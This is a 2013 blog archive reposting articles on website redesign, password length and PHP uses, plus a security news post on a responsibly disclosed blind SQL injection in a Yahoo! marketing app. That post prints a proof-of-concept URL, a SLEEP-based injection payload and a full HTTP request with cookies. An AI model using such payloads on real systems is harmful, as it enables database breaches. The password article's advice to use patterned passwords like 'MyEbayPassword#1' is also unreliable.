Archive for May 2013

Is Your Website Still Current and Generating Traffic?

One of the biggest problems companies face these days is losing traffic on their website. Over time a site can become old, boring and out of date, which means that companies need to consider a professional website redesign service to get them current, trendy and help them generate traffic again.
There are so many aspects which need to be taken into consideration and a number of steps that need to be followed to ensure the new website redesign is going to offer you the results you expect.
You may consider to redesign your site when you realize that you aren't getting the results you used to get, maybe your online revenue has dropped and your traffic has decreased. Your site purpose may have changed since you first launched your site and you need to make the necessary changes to meet your business objectives.
Other reasons include the site not working, it's not responsive anymore which results in a loss of traffic and leads, not to mention revenue. The content may be outdated or your competitors may just have launched a new and updated site and you feel it's time you put some effort in and make some changes of your own to stay current with competitors and have a chance at obtaining some of the market.
Before you consider a professional website redesign, you need to ask yourself why you want to change. Is there a reason which warrants doing this right now? Do you feel your site is lagging behind in terms of content, responsiveness, current trends and social media?
Next you will want to discuss your expectations and requirements with your designer and tell them how you want the site to be. It should be easy to navigate, user friendly and appeal to your audience.
It is very important that you don't change your URL. Keep that the same to avoid confusion and save yourself a fortune in reprinting printed materials. Also ensure that you know which of your pages are still performing and try not to change too much on them.
Remember when it comes to search engine optimization, some of your pages may be enjoying high rankings in search results, these are pages that shouldn't be played with and rather left. They may be added to the site under the same page name, making changes too many of the other pages, but ensure you leave your performing pages alone, enabling you to ensure that you don't compromise your search engine results in any way.
Companies rely on their search results rankings dramatically, so bear this in mind and discuss this with your professional website redesign team before any work starts.
Once the site has been looked at and the necessary changes have been made, have it tested. Don't only test it yourself, maybe consider a load test, ensuring it can meet the demands of your customers, be responsive and quick and work to the highest standard.
Finally, know your expectations and ensure they are reasonable. Choosing a professional website redesign doesn't mean your site will suddenly increase in traffic and revenue. This takes time and work.
You cannot rely on the site alone, you will need to promote the fact that you have a new site and ensure that this news reaches your target audience.
Professional website redesign services are a necessary consideration for many companies ensuring they stay current and enjoy ongoing traffic, generate leads and increase online revenue.
Be honest with your website redesign team on what you want and what you expect to achieve, let them make recommendations on how to change your site to help you achieve this.
InnoDojo is an online market place which caters for website redesigns, logos, marketing campaigns and more. The site is a meeting place for designers and consultants, a place where they can market their services, bid on projects and so much more.


Article Source: http://EzineArticles.com/8534921
Thursday, May 30, 2013
Posted by Unknown

A Website Redesign Process to Achieve Results

Companies often consider a website redesign when they feel their sites aren't performing as they should. There are a number of reasons to make changes to a site, from poor performance to not working and low traffic to responsiveness issues and so much more.
Before you choose to make any drastic changes it's important to put a process in place, which can ensure your designer achieves the results you are looking to achieve.
The first step to any website redesign process is to know your current traffic results, the keywords that generate the most interest and your average sales generated from the site. These are important starting points, ensuring your new site exceeds these expectations.
Next you'll want to determine your goals, most companies have the same goals in mind. You will probably want to increase the number of visitors to your site on a daily basis, you will want to generate more leads, increase your sales and incorporate SEO (search engine optimization) into your pages to improve your business ranking in search results.
Once you have chosen a designer, it's important to work closely with them throughout the entire website redesign process from the research stages where you determine which of your keywords are performing to the development stages. This can help you keep your finger on the pulse and make any necessary changes as and when you feel it is needed.
Next you will want to take a look at your target audience. Consider gender, age group and interest of this group. Your new site should be based around your audience, ensuring you reach a wider audience with ease once you launch your new site.
Branding is important and you don't want to make any obvious changes to your logo, name or slogan. Updating your logo to be more current is advisable, but it shouldn't be so extreme that no one recognizes you. This is very important if you have been in business for years and everyone knows and recognizes your name and logo. Large global companies such as Pepsi, Yahoo and more have changed their branding over the years, being current and trendy without venturing too far away from their original design.
When considering your website redesign process, take a look at your competitor's sites, see what changes they have made recently, especially if they are appealing to a larger percentage of your target audience. This can help you and your designer come up with innovative and creative ways for you to dominate your market online.
Ensure you are aware of which of your pages are performing in search results. Do some searches and see which of your pages are already appearing on the front page of the search results. Advice your designer immediately, as it's not wise to make changes to these pages. Remember changes to the pages can affect your ranking in search results, which means it may take time to build your name up again to appearing on the front page.
Through research you will be able to determine which of your pages to include in your website redesign process. Often some subtle changes, updates, navigation and other methods are used to ensure the site performs at its best, appealing to your audiences and helping you increase your online revenue.
Throughout the design process, ensure that your site still appeals to your audience and that performing pages keep their same name and tags, as this is already working for you.
It is imperative once the site has been developed and ready for launch that the final step in your website redesign process is testing. All sites should be thoroughly tested for performance, responsiveness and more.


Monday, May 27, 2013
Posted by Unknown

Online Passwords - Which Is Best, Length or Complexity

Everyone these days needs to have an array of passwords to access all the websites, apps, online resources and devices that surround our daily lives.
We are constantly being urged to make our passwords difficult to guess or crack - use upper and lower case, number, and special characters to make it super safe, but is this really correct?
We all know that it's not good practice to use a dictionary word as a password such as 'monkey' or 'password' so we mix it up by adding numbers and other characters in order to fool the common or garden dictionary attack because 'monkey!2' is much more difficult to crack - isn't it?
The answer to the above question is actually 'No' - sure, 'monkey!2' is going to be harder to guess than 'monkey' on its own, but the key to generating a really secure password is its length, NOT its complexity.
How does this work?
If we assume that your password is not in the dictionary, then the only way to crack it is by a 'brute force' attack whereby an attacker will have to guess every possible combination of letters, numbers, and special characters until they get to your password.
So, in the standard ASCII character set there are 26 letters of the alphabet, each of which could be upper or lower case, plus ten single digits, and thirty three special characters.
Now, we need to do some mathematics to determine how many combinations need to be calculated to cover a password of any length - lets first assume that you have a one character password, the maximum number of guesses needed to crack this password is 95 (Each of the letters of the alphabet both upper and lower case, each digit, and each special character - 26+26+10+33)
So, if we extend that password to a two character password then the possible number of combinations is now 9025 (95 x 95). For a three character password, the number of combinations are 857375 (95 x 95 x 95). If we now make that a ten character password the total possible number of combinations is a whopping 60,510,648,114,517,017,120.
If we have a machine guessing an impressive one hundred billion guesses PER SECOND it will take a maximum of 19.24 years to guess this password which is probably secure enough for most people.
However, if we add just one more character it now becomes 18.28 CENTURIES - easily enough for anyone.
Given the above information then, which of the following two passwords is the most secure?
  • rf65AD$%bAQ or
  • 'Mypassword1.'
It should come as no surprise that the second will take longer to guess (1740 centuries compared to 18.28 centuries for the first) purely because it has one more character.
It's now just a short step to put this into practice and make some really long and difficult to crack passwords that we can remember quite easily. All you need to do is to come up with a personal password algorithm and be creative in making some easily remembered (for you) but difficult to crack passwords. How about something like 'MyEbayPassword#1' or 'EmailPassword#1983' - both of these will take thousands of centuries to guess.


Article Source: http://EzineArticles.com/8534624

Saturday, May 25, 2013
Posted by Unknown

Practical Implementations Of PHP Development

PHP provides us with endless opportunities for development, customization and making the best out of the available technologies. Your creativity is the limit! Today there are millions and millions of websites that are running on PHP. There are also many ways in which you can implement PHP to create technology wonders either to ease business processes or add value to the way businesses work. Here are some practical implementations where PHP has been tried, tested and is popularly used.
PHP for E-commerce
Businesses whether large or small are always on the lookout for new channels for reaching out to customers and what better channel could be than an online presence! One of the greatest uses of PHP is creating e-commerce websites. This can either be done by PHP development or by using PHP frameworks and content management systems. With the help of frameworks or CMS, e-commerce development becomes very easy. Understand the benefits and analyze your business requirements and select the best approach for your business.
Project management software with PHP Development
Another popular use of PHP is for developing project management software. Project management software is important aspects of businesses today. There are many excellent web-based software readily available today. However with PHP, you can build your own project management software from scratch with the exact features you wish.
Facebook apps with PHP
PHP can also be used to integrate Facebook to your website. To develop apps, Facebook provides a PHP client library which can be easily installed and used by developers. It contains detailed instructions for use too. This is an excellent social implementation of PHP.
PHP based Content Management systems
One of the most popular and practical implementation of PHP is in content management systems (CMS). A content management system allows users to update website content without any programming knowledge. User need not have HTML or CSS knowledge to make any changes to the content on the website. The most popular CMS that are PHP based are: WordPress, Drupal etc.
PHP Photo galleries
PHP has excellent file handling functions. You can easily place photos in one directory and create excellent thumbnails on the user interface using PHP.
Creating dynamic website templates
PHP enables you to add pages to a website dynamically. You can create templates and users can very easily use them for adding new pages to their website. That's the charm of using PHP as a preferred development language.
Plug-in development
PHP can also be used to develop plug-ins for popular content management systems. These plug-ins or extensions enable you to add new features to your website that add some business value or ease some administrative tasks.
Over all, PHP proves to be a great choice for all web development efforts. Whether you are creating a plain blogging site, a photo gallery, a complex e-commerce site or a content management system - PHP helps you get what you want!
Lori K Reese works with a well known PHP Development Company that offers a gamut of IT services including services to hire PHP programmers. She has years of experience in PHP web application development and has the expertise to provide innovative web solutions on the go. Keeping up with the latest PHP trends and bringing something new to the web world is what she sees as her passion.


Article Source: http://EzineArticles.com/8523950

Wednesday, May 22, 2013
Posted by Unknown

Yahoo! Blind SQL Injection could lead to data leakage

It seems that 2013 is the "Data Leakage Year"! Many customers' information and confidential data have been published on the internet coming from government institutions, famous vendors, and companies too.

Ebrahim Hegazy(@Zigoo0) an Egyptian information security advisor who found a high severityvulnerability in "Avira license daemon" days ago, is on the news again, but this time for finding and reporting Blind SQL Injection vulnerability in one of Yahoo! E-marketing applications.
SQL Injection vulnerabilities are ranked as Critical vulnerabilities, because if used by Hackers it will cause a database breach which will lead to confidential information leakage.

A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.

The vulnerability allows remote attackers to inject own SQL commands to breach the database of that vulnerable application and get access to the user data.

The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the seed parameter the attackers can inject own SQL commands to compromise the web server application DBMS.

The vulnerability can be exploited by remote attackers without privileged application user account and without requiring user interaction. Successful exploitation of the SQL injection vulnerability results in application and application service DBMS compromise.

Vulnerable Service(s): [+] Yahoo! Inc - TW YSM Marketing
Vulnerable Module(s): [+] soeasy
Vulnerable Module(s): [+] index.php
Vulnerable Parameter(s):[+] scId

But the Ebrahim is a white hat, so he reported the vulnerability to the Yahoo! The security team with recommendations on how to patch the vulnerability.

According to Ebrahim, the time line of the vulnerability was:
  • 2013-02-24: Researcher Notification & Coordination
  • 2013-02-25: Vendor Notification
  • 2013-03-01: Vendor Response/Feedback
  • 2013-04-01: Vendor Fix/Patch by check
Proof of Concept
The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ...

Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com
Vulnerable Module: soeasy
Vulnerable File: index.php
Vulnerable Parameters: ?p=2&scId=

POC:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--

Payload:
1; union select SLEEP(5)--

Request:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--

GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1
Host: tw.ysm.emarketing.yahoo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118xilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
DNT: 1
Connection: keep-alive

HTTP/1.0 200 OK
Date: Sun, 24 Feb 2013 02:16:48 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Solution: The vulnerability can be patched by a restriction and secure parse of the scId parameter request.

More details about the vulnerability could be found here. As most of the readers know that Yahoo! doesn't have a bug bounty program or Hall of fame too, so as a reward from Yahoo! for the researchers who finds a vulnerability in Yahoo! Applications, they do award researchers by sending them a T-shirts with Yahoo! logo and some other tokens.

The researcher told us that he received a package sent to him by Yahoo! containing 2 T-shirts and a big cup ... 

Lean reward, what do you think? Dear Yahoo the next time you may be the victim of black hat.

Wednesday, May 1, 2013
Posted by Unknown

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